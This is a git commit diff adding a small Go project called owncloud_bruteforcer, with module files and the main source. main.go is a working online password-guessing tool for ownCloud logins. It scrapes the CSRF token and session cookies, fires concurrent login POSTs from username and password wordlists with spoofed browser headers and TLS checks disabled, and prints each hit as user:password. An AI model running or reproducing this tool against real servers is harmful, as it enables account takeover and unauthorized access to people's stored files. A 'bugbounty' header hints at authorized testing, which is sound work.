v1
This commit is contained in:
parent
bbb3243596
commit
1932a1f800
30
go.mod
Normal file
30
go.mod
Normal file
@ -0,0 +1,30 @@
|
||||
module git.sual.in/casual/owncloud_bruteforcer
|
||||
|
||||
go 1.22.1
|
||||
|
||||
require github.com/projectdiscovery/goflags v0.1.47
|
||||
|
||||
require (
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect
|
||||
github.com/aymerick/douceur v0.2.0 // indirect
|
||||
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect
|
||||
github.com/gorilla/css v1.0.0 // indirect
|
||||
github.com/kr/pretty v0.3.0 // indirect
|
||||
github.com/microcosm-cc/bluemonday v1.0.25 // indirect
|
||||
github.com/miekg/dns v1.1.56 // indirect
|
||||
github.com/pkg/errors v0.9.1 // indirect
|
||||
github.com/projectdiscovery/blackrock v0.0.1 // indirect
|
||||
github.com/projectdiscovery/utils v0.0.87 // indirect
|
||||
github.com/rogpeppe/go-internal v1.9.0 // indirect
|
||||
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect
|
||||
github.com/tidwall/gjson v1.14.3 // indirect
|
||||
github.com/tidwall/match v1.1.1 // indirect
|
||||
github.com/tidwall/pretty v1.2.0 // indirect
|
||||
golang.org/x/exp v0.0.0-20221205204356-47842c84f3db // indirect
|
||||
golang.org/x/mod v0.12.0 // indirect
|
||||
golang.org/x/net v0.17.0 // indirect
|
||||
golang.org/x/sys v0.17.0 // indirect
|
||||
golang.org/x/tools v0.13.0 // indirect
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
65
go.sum
Normal file
65
go.sum
Normal file
@ -0,0 +1,65 @@
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
|
||||
github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk=
|
||||
github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4=
|
||||
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 h1:ox2F0PSMlrAAiAdknSRMDrAr8mfxPCfSZolH+/qQnyQ=
|
||||
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08/go.mod h1:pCxVEbcm3AMg7ejXyorUXi6HQCzOIBf7zEDVPtw0/U4=
|
||||
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/gorilla/css v1.0.0 h1:BQqNyPTi50JCFMTw/b67hByjMVXZRwGha6wxVGkeihY=
|
||||
github.com/gorilla/css v1.0.0/go.mod h1:Dn721qIggHpt4+EFCcTLTU/vk5ySda2ReITrtgBl60c=
|
||||
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0=
|
||||
github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/microcosm-cc/bluemonday v1.0.25 h1:4NEwSfiJ+Wva0VxN5B8OwMicaJvD8r9tlJWm9rtloEg=
|
||||
github.com/microcosm-cc/bluemonday v1.0.25/go.mod h1:ZIOjCQp1OrzBBPIJmfX4qDYFuhU02nx4bn030ixfHLE=
|
||||
github.com/miekg/dns v1.1.56 h1:5imZaSeoRNvpM9SzWNhEcP9QliKiz20/dA2QabIGVnE=
|
||||
github.com/miekg/dns v1.1.56/go.mod h1:cRm6Oo2C8TY9ZS/TqsSrseAcncm74lfK5G+ikN2SWWY=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/projectdiscovery/blackrock v0.0.1 h1:lHQqhaaEFjgf5WkuItbpeCZv2DUIE45k0VbGJyft6LQ=
|
||||
github.com/projectdiscovery/blackrock v0.0.1/go.mod h1:ANUtjDfaVrqB453bzToU+YB4cUbvBRpLvEwoWIwlTss=
|
||||
github.com/projectdiscovery/goflags v0.1.47 h1:cO0m+Xl4kXvwlyN4Yp61te+Utf3y2IiLXB1JRLvdFMY=
|
||||
github.com/projectdiscovery/goflags v0.1.47/go.mod h1:+JKmFaqKtFtDYyhmfKEAk5BqnGRQuSF0fR+nk2r9oBQ=
|
||||
github.com/projectdiscovery/utils v0.0.87 h1:9+RiTEhpUB/vk6XJUVpysNWJ2aCTD7WuyoyAcNnbIzk=
|
||||
github.com/projectdiscovery/utils v0.0.87/go.mod h1:jGK450sL9AVDTjaPwEs9za8NVeEC9xE97IWNoK138kI=
|
||||
github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc=
|
||||
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
|
||||
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
|
||||
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d h1:hrujxIzL1woJ7AwssoOcM/tq5JjjG2yYOc8odClEiXA=
|
||||
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
|
||||
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
|
||||
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||
github.com/tidwall/gjson v1.14.3 h1:9jvXn7olKEHU1S9vwoMGliaT8jq1vJ7IH/n9zD9Dnlw=
|
||||
github.com/tidwall/gjson v1.14.3/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
||||
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
|
||||
github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
|
||||
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
||||
golang.org/x/exp v0.0.0-20221205204356-47842c84f3db h1:D/cFflL63o2KSLJIwjlcIt8PR064j/xsmdEJL/YvY/o=
|
||||
golang.org/x/exp v0.0.0-20221205204356-47842c84f3db/go.mod h1:CxIveKay+FTh1D0yPZemJVgC/95VzuuOLq5Qi4xnoYc=
|
||||
golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
|
||||
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
|
||||
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
|
||||
golang.org/x/sync v0.6.0 h1:5BMeUDZ7vkXGfEr1x9B4bRcTH4lpkTkpdh0T/J+qjbQ=
|
||||
golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||
golang.org/x/sys v0.17.0 h1:25cE3gD+tdBA7lp7QfhuV+rJiE9YXTcS3VG1SqssI/Y=
|
||||
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ=
|
||||
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
250
main.go
Normal file
250
main.go
Normal file
@ -0,0 +1,250 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"io"
|
||||
"time"
|
||||
"regexp"
|
||||
"strings"
|
||||
"net/url"
|
||||
"crypto/tls"
|
||||
"bufio"
|
||||
"sync"
|
||||
// "encoding/json"
|
||||
// "iouti"
|
||||
)
|
||||
|
||||
|
||||
|
||||
func getCSRFtoken(url string) (token,cookie string) { // + cookie
|
||||
|
||||
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
|
||||
|
||||
res,err := http.Get(url)
|
||||
errHandler(err, "can't connect to server")
|
||||
|
||||
bodyChar, err := io.ReadAll(res.Body)
|
||||
res.Body.Close()
|
||||
errHandler(err, "can't read body of CSRF request")
|
||||
|
||||
body := string(bodyChar)
|
||||
rTok, _ := regexp.Compile("data-requesttoken=\".*\"")
|
||||
token = rTok.FindString(body)
|
||||
token = strings.TrimPrefix(token,"data-requesttoken=\"")
|
||||
token = strings.TrimSuffix(token,"\"")
|
||||
|
||||
//TODO cookie
|
||||
// token = urlEncode(token) //No need, token automatically encoded in POST request by net/http
|
||||
|
||||
rCookie, _ := regexp.Compile("oc.{10}=.{26};|logged_in=no;|_octo=.{28}|oc_sessionPassphrase=.*; e")
|
||||
for key,val := range res.Header {
|
||||
if key == "Set-Cookie" {
|
||||
cookie = strings.Join(rCookie.FindAllString(strings.Join(val, " "), -1), " ")
|
||||
cookie = strings.TrimSuffix(cookie,"; e")
|
||||
// cookie = strings.Join(val, " ")
|
||||
}
|
||||
// fmt.Println(key, " ",val)
|
||||
}
|
||||
|
||||
return token, cookie
|
||||
}
|
||||
|
||||
func urlEncode(input string) string {
|
||||
return url.QueryEscape(input)
|
||||
}
|
||||
|
||||
func tryPassword(link,proxy,token,cookie,user,pass string) bool { //TODO header
|
||||
var client = &http.Client{}
|
||||
|
||||
if proxy != "" {
|
||||
proxyUrl, err := url.Parse(proxy)
|
||||
errHandler(err, "wrong proxy url")
|
||||
http.DefaultTransport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)}
|
||||
client = &http.Client{
|
||||
Timeout: time.Second * 10,
|
||||
Transport: &http.Transport{Proxy: http.ProxyURL(proxyUrl),TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
} else {
|
||||
client = &http.Client{
|
||||
Timeout: time.Second * 10,
|
||||
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
data := url.Values{
|
||||
"user": {user},
|
||||
"password": {pass},
|
||||
"timezone-offset": {"3"},
|
||||
"timezone": {"Europe%2FMinsk"},
|
||||
"requesttoken": {token},
|
||||
}
|
||||
|
||||
req, err := http.NewRequest("POST" ,link, strings.NewReader(data.Encode()))
|
||||
errHandler(err, "can't create (POST) request")
|
||||
|
||||
req.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7")
|
||||
req.Header.Add("Connection", "keep-alive")
|
||||
req.Header.Add("Cache-Control", "max-age=0")
|
||||
req.Header.Add("sec-ch-ua", "\"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"122\"")
|
||||
req.Header.Add("sec-ch-ua-mobile", "?0")
|
||||
req.Header.Add("sec-ch-ua-platform", "\"Linux\"")
|
||||
req.Header.Add("Upgrade-Insecure-Requests", "1")
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36")
|
||||
req.Header.Add("Origin", "null")
|
||||
req.Header.Add("Cookie", cookie)
|
||||
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
req.Header.Set("Accept-Encoding", "Accept-Encoding: gzip, deflate, br")
|
||||
req.Header.Add("Sec-Fetch-Site", "same-origin")
|
||||
req.Header.Add("Sec-Fetch-Mode", "navigate")
|
||||
req.Header.Add("Sec-Fetch-User", "?1")
|
||||
req.Header.Add("Sec-Fetch-Dest", "document")
|
||||
req.Header.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
req.Header.Add("bugbounty", "owncloud_bruteforcer")
|
||||
|
||||
|
||||
|
||||
response, err := client.Do(req)
|
||||
errHandler(err, "can't create (POST) request")
|
||||
|
||||
defer response.Body.Close()
|
||||
|
||||
// Print response body
|
||||
// body, _ := io.ReadAll(response.Body)
|
||||
// fmt.Println(string(body))
|
||||
|
||||
|
||||
// We detect successful login with 303 redirect Location header. If it rederects to .*/apps/files then we got right login. I guess exception - 2FA //TODO
|
||||
var location303 string
|
||||
for key,val := range response.Header {
|
||||
|
||||
if key == "Location" {
|
||||
location303 = strings.Join(val," ")
|
||||
}
|
||||
}
|
||||
if strings.Contains(location303,"apps/files") {
|
||||
return true
|
||||
} else {
|
||||
return false
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
func errHandler(err error, message string) {
|
||||
if err != nil {
|
||||
fmt.Printf("%s: %s\n", message, err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
var waitGroup sync.WaitGroup
|
||||
|
||||
func main() {
|
||||
options,err := ParseOptions()
|
||||
errHandler(err,"Error parsing options")
|
||||
|
||||
//for GET request (func getCSRFtoken)
|
||||
if options.Proxy != "" {
|
||||
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
|
||||
proxyUrl, err := url.Parse(options.Proxy)
|
||||
errHandler(err, "wrong proxy")
|
||||
http.DefaultTransport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)}
|
||||
}
|
||||
|
||||
|
||||
//TODO add check for owncloud page
|
||||
|
||||
var usernames *bufio.Scanner
|
||||
// fmt.Println(options.UserFile,options.PassFile)
|
||||
// fmt.Println(options)
|
||||
|
||||
if options.UserFile != "" {
|
||||
userFile,err := os.Open(options.UserFile)
|
||||
errHandler(err,"Can't read username wordlist")
|
||||
|
||||
usernames = bufio.NewScanner(userFile)
|
||||
usernames.Split(bufio.ScanLines)
|
||||
}
|
||||
|
||||
|
||||
// main loop
|
||||
if options.UserFile != "" {
|
||||
for usernames.Scan() {
|
||||
|
||||
user := usernames.Text()
|
||||
|
||||
fmt.Println("User -",user)
|
||||
|
||||
options.bruteforce(user)
|
||||
|
||||
}
|
||||
} else {
|
||||
options.bruteforce(options.User)
|
||||
}
|
||||
|
||||
//TODO progress bar would be nice. Or some counter of requests
|
||||
|
||||
}
|
||||
|
||||
func (options Options) bruteforce(user string) {
|
||||
|
||||
passFile,err := os.Open(options.PassFile)
|
||||
errHandler(err,"Can't read password wordlist")
|
||||
passwords := bufio.NewScanner(passFile)
|
||||
passwords.Split(bufio.ScanLines)
|
||||
|
||||
pass := make(chan string, 1000000000) // rockyou - 14344391
|
||||
|
||||
for passwords.Scan() {
|
||||
// fmt.Println("add pass - ",passwords.Text())
|
||||
pass <- string(passwords.Text())
|
||||
// fmt.Println("ASDASDAS")
|
||||
} //TODO ERROR
|
||||
close(pass)
|
||||
|
||||
// fmt.Println("ASDASDAS")
|
||||
|
||||
// fmt.Println(pass)
|
||||
var foundPass = false
|
||||
// for _ := range options.Threads {
|
||||
for i:=0; i<options.Threads && ! foundPass; i++ {
|
||||
// start workers
|
||||
// TODO iterate over pass channel
|
||||
// for password := range pass {
|
||||
// fmt.Println("try - ",password)
|
||||
|
||||
waitGroup.Add(1)
|
||||
go func() {
|
||||
for ! foundPass {
|
||||
token,cookie := getCSRFtoken(options.URL)
|
||||
// if tryPassword(options.URL,options.Proxy,token,cookie,user,password) {
|
||||
password1,channelClosed := <-pass
|
||||
if ! channelClosed {foundPass = true}
|
||||
// fmt.Printf("try %s\n",password1)
|
||||
if tryPassword(options.URL,options.Proxy,token,cookie,user,password1) {
|
||||
fmt.Printf("[HIT] %s:%s\n",user,password1)
|
||||
foundPass = true
|
||||
// close(pass)
|
||||
//TODO stop bruteforce for user
|
||||
}
|
||||
}
|
||||
// if foundPass {fmt.Println("we already have pass")}
|
||||
|
||||
defer waitGroup.Done()
|
||||
}()
|
||||
// }
|
||||
}
|
||||
waitGroup.Wait()
|
||||
|
||||
}
|
71
options.go
Normal file
71
options.go
Normal file
@ -0,0 +1,71 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"github.com/projectdiscovery/goflags"
|
||||
"sync"
|
||||
"errors"
|
||||
)
|
||||
|
||||
var onceOptions sync.Once
|
||||
var options = &Options{}
|
||||
|
||||
type Options struct {
|
||||
URL string
|
||||
Threads int
|
||||
// RateLimit int //TODO
|
||||
// Header string //TODO
|
||||
User string
|
||||
UserFile string //TODO
|
||||
PassFile string
|
||||
// Pass string //password spray TODO
|
||||
Proxy string
|
||||
Verbose bool
|
||||
}
|
||||
|
||||
|
||||
func ParseOptions() (*Options,error) {
|
||||
|
||||
var err error
|
||||
|
||||
onceOptions.Do(func() {
|
||||
|
||||
|
||||
flagSet := goflags.NewFlagSet()
|
||||
flagSet.SetDescription("Owncloud_bruteforcer - tool to bruteforce user")
|
||||
|
||||
// single flag example
|
||||
// flagSet.StringVarP(&options.Target, "t", "target", "", "target host or IP to scan")
|
||||
|
||||
flagSet.CreateGroup("input", "Input",
|
||||
flagSet.StringVarP(&options.URL, "u", "url", "", "target's url to login page. Example \"https://example.com/index.php/login, http://example.com/login \""),
|
||||
// flagSet.StringVarP(&options.RateLimit, "rt", "rate", "", "rate limit packets per second"),
|
||||
// flagSet.StringVarP(&options.Header, "u", "url", "", "target's url to login page. Example \"https://example.com/index.php/login, http://example.com/login \""),
|
||||
flagSet.StringVarP(&options.User, "l", "login", "admin", "username to bruteforce"),
|
||||
flagSet.StringVarP(&options.UserFile, "L", "login-wordlist", "", "username wordlist"),
|
||||
flagSet.StringVarP(&options.PassFile, "P", "password-wordlist", "", "Password wordlist"),
|
||||
flagSet.StringVarP(&options.Proxy, "x", "proxy", "", "HTTP proxy for packet inspection (Burp/Caidu/ZAP) (for example http://127.0.0.1:8080). But be aware, if you enable inspection then attack will fail because of delays"),
|
||||
flagSet.IntVarP(&options.Threads, "t", "threads", 10, "threads to bruteforce"), //TODO add estimate counter to packets/s
|
||||
// flagSet.StringVarP(&options.URL, "u", "url", "", "target's url to login page. Example \"https://example.com/index.php/login, http://example.com/login \""),
|
||||
)
|
||||
_ = flagSet.Parse()
|
||||
// // TODO error handler???
|
||||
//
|
||||
//
|
||||
//
|
||||
err = options.SanityCheck()
|
||||
//
|
||||
//
|
||||
})
|
||||
|
||||
|
||||
|
||||
return options,err
|
||||
}
|
||||
|
||||
|
||||
func (options *Options) SanityCheck() error {
|
||||
|
||||
if options.User != "admin" && options.UserFile != "" {return errors.New("-l and -L both flags present ")}
|
||||
|
||||
return nil
|
||||
}
|
Loading…
Reference in New Issue
Block a user